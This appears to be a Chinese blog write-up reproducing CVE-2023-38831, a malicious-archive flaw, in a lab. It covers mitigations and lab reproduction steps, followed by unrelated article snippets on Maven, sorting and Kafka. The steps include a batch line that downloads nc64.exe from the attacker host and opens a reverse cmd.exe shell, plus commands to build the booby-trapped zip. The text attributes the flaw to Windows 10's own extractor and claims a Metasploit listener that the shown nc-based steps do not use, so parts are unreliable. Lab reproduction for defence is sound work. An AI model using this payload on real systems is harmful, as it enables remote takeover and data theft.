CVE-2023-38831 漏洞复现:win10 压缩包挂马攻击剖析
目录
前言
漏洞介绍
漏洞原理
产生条件
影响范围
防御措施
复现步骤
环境准备
具体操作
前言
在网络安全这片没有硝烟的战场上,新型漏洞如同隐匿的暗箭,时刻威胁着我们的数字生活。其中,CVE - 2023 - 38831 这个关联 Win10 压缩包挂马攻击的漏洞,自曝光以来便引发了安全界的高度关注。深入探究并复现这一漏洞,不仅能让我们洞悉攻击者的手段,更能助力我们筑牢防线,抵御此类威胁。
漏洞介绍
CVE - 2023 - 38831 是 2023 年披露的一个高危安全漏洞,主要影响 Windows 10 系统。攻击者利用这一漏洞,精心炮制恶意压缩包。当用户在 Windows 10 系统上解压这类特制压缩包时,恶意代码会在无需用户额外操作的情况下自动执行。这就如同打开了潘多拉魔盒,攻击者借此实现挂马攻击,全面控制用户计算机,肆意窃取敏感信息,甚至进行更恶劣的破坏活动。
漏洞原理
该漏洞的根源在于 Windows 10 系统解压程序的机制缺陷。当处理特定格式压缩包时,解压程序在解压路径和文件解析环节存在安全隐患。攻击者巧妙利用这一漏洞,在解压路径中植入恶意代码。一旦解压程序按照错误路径解析文件,恶意代码便会顺势执行,将系统控制权拱手让给攻击者,进而为后续的恶意操作大开方便之门。
产生条件
- 操作系统环境:漏洞主要针对未安装相关安全补丁的 Windows 10 系统。尽管不同版本的 Windows 10 受影响程度略有不同,但只要未修复此漏洞,就如同在网络世界中裸奔,随时面临被攻击的风险。
- 解压操作:用户解压包含恶意代码的特制压缩包是触发漏洞的关键。这类压缩包经过攻击者精心设计,充分利用系统解压程序的漏洞,确保恶意代码能在解压瞬间被激活。
- 解压软件:无论是 Windows 10 系统自带的解压程序,还是存在相同漏洞的第三方解压软件,都可能成为攻击者的突破口。例如一些常见的免费解压软件,若未及时更新修复漏洞,就极易沦为攻击目标。
影响范围
Windows 10 系统在全球范围内广泛应用,从个人用户的日常办公,到企业办公环境的运转,再到教育机构的教学场景,几乎无处不在。这意味着只要使用未打补丁的 Windows 10 系统解压恶意压缩包,大量计算机都将暴露在风险之下,面临被挂马、数据泄露、系统被控制等严重威胁,可能导致个人隐私泄露、企业商业机密被盗取、教育资料丢失等一系列严重后果。
防御措施
- 及时更新系统补丁:微软已针对 CVE - 2023 - 38831 漏洞发布安全补丁,用户务必尽快安装,可通过 Windows Update 自动更新功能,也可手动下载安装,确保系统安全性。
- 谨慎解压未知来源压缩包:对于来源不明的压缩包,尤其是从不可信网站、邮件或即时通讯工具接收的,切勿轻易解压。解压前,先使用可靠的杀毒软件进行全面扫描,确认安全后再操作。
- 使用安全的解压软件:优先选择知名、更新及时的解压软件,并定期更新软件版本。避免使用来源不明或已被曝光存在安全漏洞的解压软件。同时,部分解压软件提供安全解压模式,建议启用,以降低风险。
复现步骤
环境准备
- 虚拟机:准备一台安装 Windows 10 系统的虚拟机,并确保未安装 CVE - 2023 - 38831 漏洞补丁。可借助虚拟机软件,如 VMware Workstation 或 VirtualBox 来创建。
- 攻击机:选用一台安装 Kali Linux 系统的计算机作为攻击机。Kali Linux 作为专业的网络安全测试操作系统,集成了大量实用的漏洞利用工具。
- 漏洞利用工具:在 Kali Linux 中,借助 Metasploit 框架进行漏洞复现。Metasploit 是一款强大的开源安全漏洞检测与利用工具,拥有丰富的漏洞利用模块。
具体操作
unzip winrar漏洞攻击脚本.zip #解压攻击脚本
cd winrar漏洞攻击脚本 #切换到攻击脚本目录下
python -m http.server #生成一个代码目录
nc -lnvp 6666 #开启监听端口
vim script.bat #进入攻击脚本目录编辑文件,设置ip地址和指定端口
curl http://10.0.0.103:8000/nc64.exe -O nc64.exe & nc64.exe 10.0.0.103 6666 -e cmd.exe -d & test.png
python make.py test.png script.bat bianlianghot.zip #生成病毒压缩包
- 启动 Metasploit 框架:在 Kali Linux 系统终端中输入 “msfconsole” 命令,启动 Metasploit 框架。
- 上传攻击脚本并解压:将攻击脚本压缩包进行上传并解压,并生成一个代码目录
- 此时在开启一个shell设置监听端口:设置本地监听端口
- 进入攻击脚本目录编辑文件:进入攻击目录编辑文件设置ip地址和端口信息
- 生成病毒压缩包:再打开一个终端生成病毒压缩包
- 上传压缩包到目标靶机:将恶意的病毒压缩包上传到目标靶机
- 触发漏洞:在 Windows 10 虚拟机中找到传输过来的恶意压缩包,双击解压。解压过程中,攻击机的 Metasploit 框架会监听到来自虚拟机的连接请求,从而实现对 Windows 10 系统的远程控制。此时,可在攻击机上执行各种命令,如查看文件、窃取数据等,模拟攻击者的操作流程。
通过以上复现步骤,我们能直观感受到 CVE - 2023 - 38831 漏洞的巨大危害。在现实网络环境中,我们必须时刻保持警惕,严格落实各项防御措施,切实保障系统安全。如果你对网络安全领域感兴趣,欢迎持续关注相关内容,一同探索更多网络安全知识。
相关文章:
CVE-2023-38831 漏洞复现:win10 压缩包挂马攻击剖析
目录 前言 漏洞介绍 漏洞原理 产生条件 影响范围 防御措施 复现步骤 环境准备 具体操作 前言 在网络安全这片没有硝烟的战场上,新型漏洞如同隐匿的暗箭,时刻威胁着我们的数字生活。其中,CVE - 2023 - 38831 这个关联 Win10 压缩包挂…...
回顾:Maven的环境搭建
1、下载apache-maven-3.6.0 **网址:**http://maven.apache.org 然后解压到指定的文件夹(记住文件路径) 2、配置Maven环境 复制bin文件夹 的路径D:\JavaTool\apache-maven-3.6.0\bin 环境配置成功 3、检查是否配置成功 winR 输入cmd 命令行输入mvn -v…...
从零到全栈开发
HTML:超文本标记语言 CSS:层叠样式表 HTML可以理解为框架----(毛坯房) CSS 可以理解为装修----(装修) 学习工具: Vscode应用----扩展(中文) AI ----KiMi ,豆…...
单片机-STM32 WIFI模块--ESP8266 (十二)
1.WIFI模块--ESP8266 名字由来: Wi-Fi这个术语被人们普遍误以为是指无线保真(Wireless Fidelity),并且即便是Wi-Fi联盟本身也经常在新闻稿和文件中使用“Wireless Fidelity”这个词,Wi-Fi还出现在ITAA的一个论文中。…...
两种交换排序算法--冒泡,快速
目录 1.冒泡排序原理 2.快速排序原理 3.冒泡代码实现 4.快速排序代码实现 1.冒泡排序原理 冒泡排序(Bubble Sort)是一种简单的排序算法,基本思想是通过反复交换相邻的元素,直到整个序列有序。它的名字来源于较大的元素像气泡…...
langchain基础(一)
模型又可分为语言模型(擅长文本补全,输入和输出都是字符串)和聊天模型(擅长对话,输入时消息列表,输出是一个消息)两大类。 以调用openai的聊天模型为例,先安装langchain_openai库 1…...
【学术会议征稿】第五届能源、电力与先进热力系统学术会议(EPATS 2025)
能源、电力与先进热力系统设计是指结合物理理论、工程技术和计算机模拟,对能源转换、利用和传输过程进行设计的学科领域。它涵盖了从能源的生产到最终的利用整个流程,旨在提高能源利用效率,减少能源消耗和环境污染。 重要信息 官网…...
MyBatis框架基础学习及入门案例(2)
目录 一、数据库建表(tb_user)以及添加数据。 (1)数据库与数据表说明。 (2)字段与数据说明。 二、创建模块(或工程)、导入对应所需依赖坐标。 三、编写MyBatis核心主配置文件。(解决JDBC中"硬编码"问题) (1&…...
Salesforce Too Many Email Invocations: 11
在 Salesforce 中,“Too Many Email Invocations: 11” 错误通常表示您的组织在单个事务中超过了 Apex 电子邮件调用的限制。Salesforce 设置这些限制是为了防止滥用并确保公平使用。以下是解决该问题的方法: 理解限制 Salesforce 允许每个事务中最多进…...
2274. 不含特殊楼层的最大连续楼层数
2274. 不含特殊楼层的最大连续楼层数 题目链接:2274. 不含特殊楼层的最大连续楼层数 代码如下: class Solution { public:int maxConsecutive(int bottom, int top, vector<int>& special) {ranges::sort(special);int res max(special[0] …...
RGB 转HSV空间颜色寻找色块
文章目录 前言一、绿色确定二、红色确定总结 前言 提示:这里可以添加本文要记录的大概内容: 项目需要: 将RGB颜色空间转换为HSV颜色空间以寻找颜色,主要基于以下几个原因: 直观性: HSV颜色空间更符合人类…...
Kafka生产者ACK参数与同步复制
目录 生产者的ACK参数 ack等于0 ack等于1(默认) ack等于-1或all Kafka的同步复制 使用误区 生产者的ACK参数 Kafka的ack机制可以保证生产者发送的消息被broker接收成功。 Kafka producer有三种ack机制 ,分别是 0,1…...
计算机图形学试题整理(期末复习/闭or开卷/>100道试题/知识点)
1.各种坐标变换,会产生变换前后维度改变的是(投影变换)。 A)建模变换;B)观察变换;C)投影变换;D)视口变换 不同的坐标变换对维度的影响如下: 建模…...
Ubuntu 24.04 安装 NVIDIA Container Toolkit 全指南:让Docker拥抱GPU
Ubuntu 24.04 安装 NVIDIA Container Toolkit 全指南:让Docker拥抱GPU 前言一、环境准备1.1 验证驱动状态 二、安装NVIDIA Container Toolkit2.1 添加官方仓库2.2 执行安装 三、配置Docker运行时3.1 更新Docker配置 四、验证安装结果4.1 运行测试容器 五、实战应用 …...
python3+TensorFlow 2.x(三)手写数字识别
目录 代码实现 模型解析: 1、加载 MNIST 数据集: 2、数据预处理: 3、构建神经网络模型: 4、编译模型: 5、训练模型: 6、评估模型: 7、预测和可视化结果: 输出结果ÿ…...
aws(学习笔记第二十六课) 使用AWS Elastic Beanstalk
aws(学习笔记第二十六课) 使用aws Elastic Beanstalk 学习内容: AWS Elastic Beanstalk整体架构AWS Elastic Beanstalk的hands onAWS Elastic Beanstalk部署node.js程序包练习使用AWS Elastic Beanstalk的ebcli 1. AWS Elastic Beanstalk整体架构 官方的guide AWS…...
GestureDetector组件的功能与用法
文章目录 1 概念介绍2 使用方法3 示例代码 我们在上一章回中介绍了ListView响应事件的内容,本章回中将介绍GestureDetector Widget.闲话休提,让我们一起Talk Flutter吧。 1 概念介绍 我们在这里介绍的GestureDetector是一个事件响应Widget,它可以响应双击事件&…...
【HuggingFace项目】:Open-R1 - DeepSeek-R1 大模型开源复现计划
项目链接:https://github.com/huggingface/open-r1 概述 Open-R1 是由 HuggingFace 发布的一个完全开放的项目,旨在通过三个主要步骤复现 DeepSeek-R1 的完整训练流程。这个项目的目标是让更多人能够理解和使用 DeepSeek-R1 的技术方案,从而…...
K8S中数据存储之配置存储
配置存储 在Kubernetes中,ConfigMap和Secret是两种核心资源,用于存储和管理应用程序的配置数据和敏感信息。理解它们的功能和最佳实践对于提高Kubernetes应用程序的安全性和配置管理的效率至关重要。 ConfigMap ConfigMap是一种API对象,允许…...
群辉折腾日记【连续剧】
安装群辉6.23版本 对比不同的版本以及自己的硬件条件,我选择了6.2.3稳定养老版本,硬件参数可以看之前的文章:pve (群辉、软路由、win/linux)折腾日记 之前年轻气盛喜欢折腾,秉持着一个原则,可以不用,但不能…...
AIGC视频生成模型:慕尼黑大学、NVIDIA等的Video LDMs模型
大家好,这里是好评笔记,公主号:Goodnote,专栏文章私信限时Free。本文详细介绍慕尼黑大学携手 NVIDIA 等共同推出视频生成模型 Video LDMs。NVIDIA 在 AI 领域的卓越成就家喻户晓,而慕尼黑大学同样不容小觑,…...
Hadoop 与 Spark:大数据处理的比较
💖 欢迎来到我的博客! 非常高兴能在这里与您相遇。在这里,您不仅能获得有趣的技术分享,还能感受到轻松愉快的氛围。无论您是编程新手,还是资深开发者,都能在这里找到属于您的知识宝藏,学习和成长…...
VB6.0 显示越南语字符
近期接到客户咨询,说是VB6.0写软件界面上显示越南语乱码,需要看看怎样解决。 我在自己电脑上也试了下,确实显示越南语结果是乱码。编辑器里乱码,运行起来界面上也是乱码。 经过一天的折腾,算是解决了问题,…...
微信小程序中实现进入页面时数字跳动效果(自定义animate-numbers组件)
微信小程序中实现进入页面时数字跳动效果 1. 组件定义,新建animate-numbers组件1.1 index.js1.2 wxml1.3 wxss 2. 使用组件 1. 组件定义,新建animate-numbers组件 1.1 index.js // components/animate-numbers/index.js Component({properties: {number: {type: Number,value…...
网络仿真工具Core环境搭建
目录 安装依赖包 源码下载 Core安装 FAQ 下载源码TLS出错误 问题 解决方案 找不到dbus-launch 问题 解决方案 安装依赖包 调用以下命令安装依赖包 apt-get install -y ca-certificates git sudo wget tzdata libpcap-dev libpcre3-dev \ libprotobuf-dev libxml2-de…...
JavaScript 的 Promise 对象和 Promise.all 方法的使用
JavaScript 中的 Promise 对象 什么是 Promise? Promise 是一种用于处理异步操作的对象。它代表一个尚未完成但预计将来会完成的操作及其结果。 主要特点: 状态: Pending(进行中): 初始状态,既未成功,也未失败。Fu…...
农产品价格报告爬虫使用说明
农产品价格报告爬虫使用说明 # ************************************************************************** # * * # * 农产品价格报告爬虫 …...
Java 大视界 -- Java 大数据中的隐私增强技术全景解析(64)
💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也…...
实战Linux Swap扩展分区
文章目录 定义命令格式案例注释 定义 Swap分区是Linux系统中的一种虚拟内存实现方式,它是磁盘上预留的专用区域。当系统的物理内存不足时,会将部分不活跃的数据从物理内存移动到Swap分区,从而释放更多可用内存空间。 命令格式 关闭Swap分区…...
doris:Parquet导入数据
本文介绍如何在 Doris 中导入 Parquet 格式的数据文件。 支持的导入方式 以下导入方式支持 Parquet 格式的数据导入: Stream LoadBroker LoadINSERT INTO FROM S3 TVFINSERT INTO FROM HDFS TVF 使用示例 本节展示了不同导入方式下的 Parquet 格式使用方法…...
Synology 群辉NAS安装(6)安装mssql
Synology 群辉NAS安装(6)安装mssql 写在前面mssql 2019:成功安装说明,这个最终成功了 mssql 2022没有成功1. pull image2.启动mssql docker container 远程连接 写在前面 mssq是一个重要节点。 这是因为我对mysql没有一丝好感。虽然接触了许…...
使用.NET 8构建高效的时间日期帮助类
使用.NET 8构建高效的时间日期帮助类 在现代Web应用程序中,处理日期和时间是一个常见的需求。无论是记录日志、生成报告还是进行数据分析,正确处理日期和时间对于确保数据的准确性和一致性至关重要。本文将详细介绍如何使用ASP.NET Core和C#构建一个高效…...
第26篇 基于ARM A9处理器用C语言实现中断<二>
Q:基于ARM A9处理器怎样编写C语言工程,使用按键中断将数字显示在七段数码管上呢? A:基本原理:主程序需要首先调用子程序set_A9_IRQ_stack()初始化IRQ模式的ARM A9堆栈指针;然后主程序调用子程序config_GIC…...
dm8在Linux环境安装精简步骤说明(2024年12月更新版dm8)
dm8在Linux环境安装详细步骤 - - 2025年1月之后dm8 环境介绍1 修改操作系统资源限制2 操作系统创建用户3 操作系统配置4 数据库安装5 初始化数据库6 实例参数优化7 登录数据库配置归档与备份8 配置审计9 创建用户10 屏蔽关键字与数据库兼容模式11 jdbc连接串配置12 更多达梦数据…...
Nginx部署的前端项目刷新404问题
1,查看问题 我部署的81端口是监听tlias项目的,我直接访问端口页面可以出现内容。 我在浏览器舒服端口之后回车,会重定向页面。但是我在重定向之后的页面刷新浏览器就会出现404的问题。 下面是刷新浏览器后的效果 2,在nginx.cnf …...
H2 Database安装部署
H2 Database H2 Database官网 H2 中文文档 安装部署H2 java版本要高于java 11 ## 下载java21 wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.tar.gz[rootlocalhost ~]# tar xf jdk-21_linux-x64_bin.tar.gz -C /usr/local/ [rootlocalhost ~]# vi…...
Day40:列表的排序
在 Python 中,排序是处理列表数据时常用的一种操作。排序可以帮助我们按照一定的规则(如升序或降序)对列表中的元素进行排列。Python 提供了内置的排序方法 sort() 和 sorted() 来实现这一功能。 1. 使用 sort() 方法排序 1.1 sort() 方法简…...
TypeScript进阶(三):断言
文章目录 一、前言二、类型断言2.1 利用 as 实现断言2.2 利用 <> 实现断言2.3 应用示例2.3.1 如果 A,B 如果是类并且有继承关系2.3.2 如果 A,B 如果是类,但没有继承关系2.3.3 如果 A 是类,B 是接口,并且 A 类实现…...
塔罗牌(基础):大阿卡那牌
塔罗牌(基础) 大啊卡那牌魔术师女祭司皇后皇帝教皇恋人战车力量隐士命运之轮正义吊人死神节制恶魔高塔星星月亮太阳审判世界 大啊卡那牌 魔术师 作为一个起点,象征:意识行动和创造力。 一个【显化】的概念,即是想法变…...
微服务(一)
文章目录 项目地址一、微服务1.1 分析User的Domian Verb和Nouns 二、运行docker和k8s2.1 Docker1. 编写dockerfile2. 创建docker image3. 运行docker使用指定端口4. 查看当前运行的镜像5. 停止当前所有运行的docker6. 删除不用的docker images7. 将本地的image上传到hub里 2.2 …...
JAVA(SpringBoot)集成Kafka实现消息发送和接收。
SpringBoot集成Kafka实现消息发送和接收。 一、Kafka 简介二、Kafka 功能三、POM依赖四、配置文件五、生产者六、消费者 君子之学贵一,一则明,明则有功。 一、Kafka 简介 Kafka 是由 Apache 软件基金会开发的一个开源流处理平台,最初由 Link…...
Oracle之开窗函数使用
开窗函数是数据开发面试的必知必会,必须认真对待,上难度: 开窗函数语法格式如下,一共五部分: ①函数(a)over(②<partition by b> ③<order by c> ④<windowing_clause> ⑤开窗范围)1、函数…...
mysql_store_result的概念和使用案例
mysql_store_result() 是 MySQL C API 中的一个函数,用于检索一个完整的结果集到一个客户端。当执行一个查询(通常是 SELECT 查询)并希望处理所有返回的数据时,可以使用此函数。 概念 mysql_store_result() 函数的原型如下&…...
【大数据】数据治理浅析
在数字化时代,数据作为企业的核心资产,其管理和利用显得尤为关键。数据治理,作为数据管理的重要组成部分,旨在确保数据的准确性、一致性、安全性和可用性。本文将从数据治理的基本概念、应用场景、必要性、需求分析等方面出发&…...
第 25 场 蓝桥月赛
4.喜糖摆放【算法赛】 - 蓝桥云课 问题描述 在过年时,蓝桥村的孩子们充满活力,他们化身为捣蛋鬼,挨家挨户寻讨喜糖。他们一共收到了N颗糖,每颗糖的甜度各不相同,第i颗糖的甜度为Ai。 然而,如何分配这些喜…...
LigerUI在MVC模式下的响应原则
LigerUI是基于jQuery的UI框架,故他也是遵守jQuery的开发模式,但是也具有其特色的侦听函数,那么当LigerUI作为View层的时候,他所发送后端的必然是表单的数据,在此我们以俩个div为例: {Layout "~/View…...
Vue2下篇
插槽: 基本插槽: 普通插槽:父组件向子组件传递静态内容。基本插槽只能有一个slot标签,因为这个是默认的位置,所以只能有一个 <!-- ParentComponent.vue --> <template> <ChildComponent> <p>…...
python 变量范围的定义与用法
文章目录 1. 局部变量(Local Scope)示例: 2. 嵌套函数变量(Enclosing Scope)示例:说明: 3. 全局变量(Global Scope)示例:说明: 4. 内置变量&#…...
for...in 和 Object.keys().forEach的区别
for…in 和 Object.keys().forEach的区别 1、遍历范围: for…in 会遍历 自身及原型链上的可枚举属性,需用 hasOwnProperty 过滤。 Object.keys() 仅遍历 自身可枚举属性,更安全。 // 定义一个父对象,包含原型链上的属性 const…...
API接口设计模板
API 员工登录接口设计 基本信息 Path: /admin/staff/login **Method:**POST 接口描述: 请求参数 Query 参数名称是否必须示例备注username是admin用户名password是mima密码 返回数据 名称类型是否必须默认值备注其他信息codeinteger必须dat…...